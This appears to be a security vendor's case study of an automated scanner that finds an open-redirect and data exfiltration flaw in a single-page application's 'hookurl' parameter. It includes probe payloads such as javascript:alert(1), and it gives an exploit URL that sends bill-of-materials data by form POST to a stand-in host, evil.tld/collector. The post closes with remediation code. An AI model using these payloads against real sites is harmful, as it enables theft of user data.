Wed 10 December 2025
The rise of Single-Page Applications (SPAs) has fundamentally shifted where security logic lives. Where traditional web applications kept authentication, authorization, and data validation server-side, SPAs often push these responsibilities into massive JavaScript bundles loaded by the browser. This architectural change creates a dangerous illusion: developers implement what appears to be security logic in client-side code—checking permissions, validating URLs, controlling navigation—forgetting that anything running in the user's browser is inherently untrustworthy.
Traditional vulnerability scanners aren't equipped for this reality. They look for server-side indicators like 302 redirects or SQL errors, completely missing threats that exist solely in client-side interactions: data flows through sessionStorage, component state management, and multi-step exploit chains that trigger only after specific user actions.
Our latest Automated Pentest scan exposed exactly this type of modern vulnerability. The discovery wasn't a server misconfiguration but a client-side data exfiltration chain that traditional tools would never see—because it only exists in the SPA's navigation logic, masquerading as security but offering none.
The Challenge: From a Simple Parameter to a Multi-Stage Exploit
The Engine began with risk analysis—first analyzing the SPA architecture and identifying a critical risk pattern: "open redirect and scheme abuse in dynamic external navigation builders." A traditional scanner might test endpoints like /elbridge?url=... for a Location header and stop there. Our engine, however, is designed to map the full client-side attack surface.
Based on this analysis, it autonomously generated a detailed investigation plan:
[RISK-ASSESSMENT] Pattern detected: Dynamic navigation builders
- Application pattern: SPA with client-side routing
- Risk category: Open redirect via untrusted URL parameters
- Potential sinks: window.location, form.action, window.open
- Investigation priority: HIGH
[PLAN-GENERATED] Testing strategy created:
1. Enumerate redirector endpoints: /elbridge, /redirect, /out, /external, etc.
2. Test parameter acceptance: url, next, target, redirect, hookurl
3. Validate scheme handling: https://, http://, //, javascript:, data:
4. Analyze client-side code for navigation sinks
5. Test normalization bypasses and edge cases
The vulnerability resided in the /elbridge endpoint's hookurl parameter. The Engine's first discovery was that the server didn't issue redirects—it returned 200 OK for almost all inputs. The real behavior was in the client code, and the Scanner systematically pieced together the exploit chain.
Phase 1: Intelligent Probing and Filter Discovery The Scanner began by understanding the perimeter defenses through targeted probes, revealing a partial blacklist rather than a proper allowlist:
Probe Results:
[SCANNER] Testing /elbridge parameter acceptance...
[PROBE #1: Basic external HTTPS]
> GET /elbridge?version=1.0&country=DEU&language=DEU&hookurl=https://example.com/receive
< HTTP/1.1 200 OK
Content-Type: text/html
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: SAMEORIGIN
[STATUS] Accepted
[PROBE #2: javascript: scheme]
> GET /elbridge?...&hookurl=javascript:alert(1)
< HTTP/1.1 403 Forbidden
Server: AkamaiGHost
Cache-Control: no-cache, no-store, must-revalidate
[STATUS] Blocked by edge (Akamai)
[PROBE #3: Scheme-relative URL]
> GET /elbridge?...&hookurl=//example.com
< HTTP/1.1 200 OK
[STATUS] Accepted - Risk Amplifier
[PROBE #4: HTTP scheme (downgrade)]
> GET /elbridge?...&hookurl=http://example.com
< HTTP/1.1 200 OK
[STATUS] Accepted - Protocol Downgrade
[ADDITIONAL ACCEPTED SCHEMES]:
• about:blank → 200 OK
• mailto:test@example.com → 200 OK
• data:text/plain,hello → 200 OK
• https://REDACTED.example.com → 200 OK (Subdomain confusion)
• \\example.com → 200 OK (Backslash variant)
[ENGINE-ANALYSIS] Perimeter defense is inconsistent. Blocks:
• javascript: (and encoded/mixed-case variants)
• data:text/html;base64 (HTML payloads)
Accepts numerous dangerous schemes that should be blocked.
Phase 2: Static Analysis and Behavioral Modeling
Once the Scanner identified /elbridge as a potential navigation handler, it needed to understand how the hookurl parameter was actually being used. The Engine executed a systematic static analysis, downloading and examining the main application bundles.
Scanner Reasoning Process:
[SCANNER] To understand client-side data flow:
1. Need to download main JS bundles
2. Search for parameter parsing patterns
3. Identify data storage mechanisms
4. Find navigation sinks
5. Trace complete data flow
The Scanner first fetched the homepage to identify JavaScript assets:
[TOOL CALL] curl --http1.1 -sSLi https://REDACTED/
[OUTPUT] Discovered JS bundles:
- /static/js/2.6e5ed615.chunk.js (vendor bundle)
- /static/js/main.a658340c.chunk.js (main application bundle)
[ENGINE-ANALYSIS] No Content-Security-Policy header present.
X-Frame-Options: SAMEORIGIN. SPA shell detected - client-side logic expected.
The Scanner downloaded and analyzed both JavaScript bundles. The key discovery came from examining the main bundle:
Captured JavaScript Bundle Analysis:
// Scanner discovered critical code patterns:
// 1. PARAMETER PARSING FROM URL
// qn={VERSION:"version",COUNTRY:"country",HOOKURL:"hookurl",LANGUAGE:"language"}
const params = new URLSearchParams(location.search);
const version = params.get(_.kb.VERSION); // "version"
const hook = params.get(_.kb.HOOKURL); // "hookurl"
const country = params.get(_.kb.COUNTRY);
const lang = params.get(_.kb.LANGUAGE);
if (version && hook && country && lang) {
sessionStorage.setItem(_.lb.VERSION, version);
sessionStorage.setItem(_.lb.HOOKURL, hook);
}
// 2. GUARD CHECK
const hasElbridgeSeed = () => Boolean(
sessionStorage.getItem(_.lb.HOOKURL) && sessionStorage.getItem(_.lb.VERSION)
);
// 3. CRITICAL SINK (Scanner-discovered minified code)
// From bundle main.a658340c.chunk.js:
var Lm=()=>{const{t:e}=Object(_.a)(),{projectDetails:a}=Object(c.c)(e=>e.projectDetail),
t=sessionStorage.getItem(be.lb.HOOKURL),n=sessionStorage.getItem(be.lb.VERSION),
i=e=>{const a=document.createElement("form");a.method="POST",a.action=t,a.target="_blank";
const o=document.createElement("input");o.type="hidden",o.name="version",o.value=n,a.appendChild(o);
const i=document.createElement("input");i.type="hidden",i.name="result",i.value=JSON.stringify(e),
a.appendChild(i),document.body.appendChild(a),a.submit()};
Scanner Analysis Output:
[SCANNER] Data flow mapped:
• SOURCE: URL parameter ?hookurl=...
• STORAGE: sessionStorage['HOOKURL']
• TRIGGER: UI button "Go To SHOP" (i18n key: bom.go_to_shop)
• SINK: form.action = sessionStorage['HOOKURL']
• PAYLOAD: POST with hidden fields: version + result (JSON BOM data)
• TARGET: _blank (new tab)
[VULNERABILITY PATTERN] User-controlled input flows directly from URL → sessionStorage → form.action
without any validation or allowlisting.
This analysis wasn't guessing or pattern-matching. The Scanner actually:
1) Downloaded production JavaScript and decompressed it 2) Parsed minified webpack bundles to find relevant code 3) Understood the data flow across multiple functions 4) Identified the trust boundary violation in the logic 5) Mapped the complete exploit chain end-to-end
Most security tools see JavaScript as a "black box" - they might detect parameters but never understand how they're used. Our Scanner reads the code, understands it, and maps the actual vulnerability path.
Phase 3: Safe Exploit Chain Validation The Scanner executed a complete safe PoC to validate the exploit chain without making external requests:
Generated Safe Interception Script:
// Scanner created this safe interception PoC
(function(){
const os = HTMLFormElement.prototype.submit;
HTMLFormElement.prototype.submit = function(){
console.log('[INTERCEPT] Form submission captured', {
action: this.action,
method: this.method,
target: this.target,
payload: Array.from(this.elements)
.filter(el => el.type === 'hidden')
.map(el => ({name: el.name, value: el.value}))
});
// Block actual submission to prevent exfiltration
// do NOT call os();
};
console.log('[SCANNER] sessionStorage hookurl =', sessionStorage.getItem('hookurl'));
})();
Expected Console Output (from Scanner test):
[SCANNER] sessionStorage hookurl = https://example.com/receive
[INTERCEPT] Form submission captured {
action: "https://example.com/receive",
method: "POST",
target: "_blank",
payload: [
{name: "version", value: "1.0"},
{name: "result", value: "{\"bomData\":[...]}"}
]
}
Phase 4: Comprehensive Testing - Raw HTTP Evidence The Scanner conducted extensive testing and captured raw HTTP request/response pairs:
Accepted Payloads (200 OK Responses):
GET /elbridge?version=1.0&country=DEU&language=DEU&hookurl=https://example.com/receive HTTP/1.1
Host: REDACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 16 Oct 2025 12:16:27 GMT
ETag: W/"68f0e21b-b4b"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Blocked Payloads (403 Forbidden):
GET /elbridge?version=1.0&country=DEU&language=DEU&hookurl=javascript:alert(1) HTTP/1.1
Host: REDACTED
HTTP/1.1 403 Forbidden
Server: AkamaiGHost
Cache-Control: no-cache, no-store, must-revalidate
Content-Type: text/html
Phase 5: State Tracking and Exploit Chain Demonstration The Scanner tracked the application state changes:
Before/After sessionStorage State:
// BEFORE visiting /elbridge:
sessionStorage.getItem('hookurl') === null
sessionStorage.getItem('version') === null
// AFTER visiting /elbridge with attacker-controlled params:
sessionStorage.getItem('hookurl') === 'https://evil.tld/collector'
sessionStorage.getItem('version') === '1.0'
Complete Exploit Chain (Scanner-Documented):
1. Victim visits: https://REDACTED/elbridge?version=1.0&country=DEU&language=DEU&hookurl=https://evil.tld/collector
2. SPA stores: sessionStorage['HOOKURL'] = "https://evil.tld/collector"
3. Victim navigates to /componentlist (BOM view)
4. Victim clicks "Go To SHOP" button
5. SPA creates form with: action="https://evil.tld/collector", method="POST", target="_blank"
6. Form submits with payload: version=1.0&result={"bomData":[...]}
7. Attacker receives sensitive BOM data
Why This Matters: The Scanner as a Context-Aware Hunter This finding demonstrates a key evolution in automated testing. The Scanner didn't just find a bug; it narrated a vulnerability story by:
- Systematically probing the perimeter to understand filter behavior
- Analyzing client-side code to map the complete data flow
- Tracking state changes across multiple application states
- Creating safe PoCs that prove exploitability without risk
- Providing actionable remediation with specific code fixes
Generated Remediation Code:
// IMMEDIATE CLIENT-SIDE FIX (Generated by Scanner)
function isAllowedDestination(u) {
try {
const url = new URL(u, window.location.origin);
// Enforce https only and exact host/path allowlist
const allowedHosts = new Set(["partner.REDACTED", "nizke-napeti.cz.REDACTED"]);
// Enforce HTTPS only
if (url.protocol !== "https:") return false;
// Strict host allowlist
if (!allowedHosts.has(url.hostname)) return false;
return true;
} catch {
return false;
}
}
// PERMANENT SERVER-SIDE FIXES (Scanner Recommendations):
1. Replace raw URLs with opaque, signed identifiers
2. Server-side validation against strict allowlist
3. Perimeter rule: ^https://(partner\.REDACTED|nizke-napeti\.cz\.REDACTED)(/|$)
4. CSP: navigate-to 'self' https://partner.REDACTED https://nizke-napeti.cz.REDACTED
Conclusion The landscape of web vulnerabilities is increasingly defined by complex, client-side logic. This case study demonstrates how our Engine goes beyond traditional scanning by:
- Understanding SPA statefulness - Tracking data across
sessionStorage - Mapping client-side data flows - From source to sink
- Testing intelligently - Probing edge cases and filter bypasses
- Providing evidence - Raw HTTP captures, code analysis, safe PoCs
- Recommending fixes - Specific, actionable remediation code
This isn't just scanning—it's investigation. Our Scanner models the application as an attacker would, uncovering the sophisticated attack chains that modern applications can inadvertently create, and provides the evidence and solutions needed to fix them.